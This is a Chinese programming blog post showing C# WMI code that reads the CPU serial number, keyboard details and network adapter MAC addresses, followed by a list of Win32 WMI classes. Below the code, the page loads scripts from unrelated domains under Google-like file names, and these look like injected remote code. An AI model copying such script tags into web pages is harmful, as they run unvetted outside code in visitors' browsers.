WMI的一些应用 CPU的序列号 键盘信息 网卡信息等

45 篇文章 0 订阅
21 篇文章 0 订阅

      #region 取CPU的序列号
             string cpuInfo = "";
             ManagementClass cimObject = new ManagementClass("Win32_Processor");
//表示公共信息模型 (CIM) 管理类。
//管理类是一个 WMI 类,如 Win32_LogicalDisk 和 Win32_Process,前者表示磁盘驱动器,后者表示进程(如 Notepad.exe)。
//通过该类的成员,可以使用特定的 WMI 类路径访问 WMI 数据。
ManagementObjectCollection moc = cimObject.GetInstances();//返回该类的所有实例的集合。
            int count=0;
            StringBuilder sb = new StringBuilder();
            foreach(ManagementObject mo in moc)
            {
                cpuInfo = mo.Properties["ProcessorId"].Value.ToString();

                Console.WriteLine("CPU的序列号是:");

                Console.WriteLine(cpuInfo);

                sb.Append("集合中第" + count.ToString() + "个的名字是:" + mo["Name"].ToString()+"/r/n");
                count++;

                PropertyDataCollection searcherProperties = mo.Properties;
                foreach (PropertyData sp in searcherProperties)
                {
                    Console.WriteLine(sp.Name + "  " + sp.Value);//这个输出了一个键值对 一个属性一个属性值
                }


             

            }
            Console.WriteLine(sb.ToString());//这里就一个关于CPU 的信息

 


   // 表示通过 WMI 检索到的管理对象的不同集合。
   //此集合中的对象为从 ManagementBaseObject 派生的类型,包括 ManagementObject 和 ManagementClass。
   //通过 ManagementObjectSearcher 对象执行 WMI 查询,或者通过表示指定类型的 ManagementClass 检索该类型管理对象的枚举,
 
  

 

 

            //同理 我们可以得到硬盘 网卡 键盘 鼠标的各种出厂信息 比较接近硬件的信息
            // 下面是一些硬件的WMI
//Win32_Processor, // CPU 处理器
//Win32_PhysicalMemory, // 物理内存条
//Win32_Keyboard, // 键盘
//Win32_PointingDevice, // 点输入设备,包括鼠标。
//Win32_FloppyDrive, // 软盘驱动器
//Win32_DiskDrive, // 硬盘驱动器
//Win32_CDROMDrive, // 光盘驱动器
//Win32_BaseBoard, // 主板
//Win32_BIOS, // BIOS 芯片
//Win32_ParallelPort, // 并口
//Win32_SerialPort, // 串口
//Win32_SerialPortConfiguration, // 串口配置
//Win32_SoundDevice, // 多媒体设置,一般指声卡。
//Win32_SystemSlot, // 主板插槽 (ISA & PCI & AGP)
//Win32_USBController, // USB 控制器
//Win32_NetworkAdapter, // 网络适配器
//Win32_NetworkAdapterConfiguration, // 网络适配器设置
//Win32_Printer, // 打印机
//Win32_PrinterConfiguration, // 打印机设置
//Win32_PrintJob, // 打印机任务
//Win32_TCPIPPrinterPort, // 打印机端口
//Win32_POTSModem, // MODEM
//Win32_POTSModemToSerialPort, // MODEM 端口
//Win32_DesktopMonitor, // 显示器
//Win32_DisplayConfiguration, // 显卡
//Win32_DisplayControllerConfiguration, // 显卡设置
//Win32_VideoController, // 显卡细节。
//Win32_VideoSettings, // 显卡支持的显示模式。

操作系统
//Win32_TimeZone, // 时区
//Win32_SystemDriver, // 驱动程序
//Win32_DiskPartition, // 磁盘分区
//Win32_LogicalDisk, // 逻辑磁盘
//Win32_LogicalDiskToPartition, // 逻辑磁盘所在分区及始末位置。
//Win32_LogicalMemoryConfiguration, // 逻辑内存配置
//Win32_PageFile, // 系统页文件信息
//Win32_PageFileSetting, // 页文件设置
//Win32_BootConfiguration, // 系统启动配置
//Win32_ComputerSystem, // 计算机信息简要
//Win32_OperatingSystem, // 操作系统信息
//Win32_StartupCommand, // 系统自动启动程序
//Win32_Service, // 系统安装的服务
//Win32_Group, // 系统管理组
//Win32_GroupUser, // 系统组帐号
//Win32_UserAccount, // 用户帐号
//Win32_Process, // 系统进程
//Win32_Thread, // 系统线程
//Win32_Share, // 共享
//Win32_NetworkClient, // 已安装的网络客户端
//Win32_NetworkProtocol, // 已安装的网络协议


            ManagementClass a = new ManagementClass("Win32_Keyboard");
            Console.WriteLine("这里是键盘的信息/r/n");
            foreach (ManagementObject m in a.GetInstances())
            {


                PropertyDataCollection p=m.Properties;
                foreach (PropertyData pd in p)
                {
                    Console.WriteLine(pd.Name+":   "+pd.Value);
                }
            }


            //网卡的信息
            ManagementClass b = new ManagementClass("Win32_NetworkAdapterConfiguration");
            Console.WriteLine("这里是网卡的信息/r/n");
            foreach (ManagementObject m in b.GetInstances())
            {


                PropertyDataCollection p = m.Properties;
                foreach (PropertyData pd in p)
                {
                    Console.WriteLine(pd.Name + ":   " + pd.Value);
                }
            }

 

 


            //得到网卡号
            ManagementClass c = new ManagementClass("Win32_NetworkAdapterConfiguration");
            Console.WriteLine("这里是网卡号的信息/r/n");
            string[] macAddress = new string[2];
            int j = 0;
            foreach (ManagementObject m in c.GetInstances())
            {

                if ((bool)m["IPEnabled"] == true)
                {
                    macAddress[j] = m["MacAddress"].ToString();
                    Console.WriteLine(macAddress[j]+"/r/n");
                    j++;
              
                }
                m.Dispose();
             
            }

            //可以进一步封装下 然后把所有的类都可以显示出来

             #endregion

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
<script src="http://www.cdccis.com/js/skin/googlesearch.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_sdo.js" type="text/javascript"></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值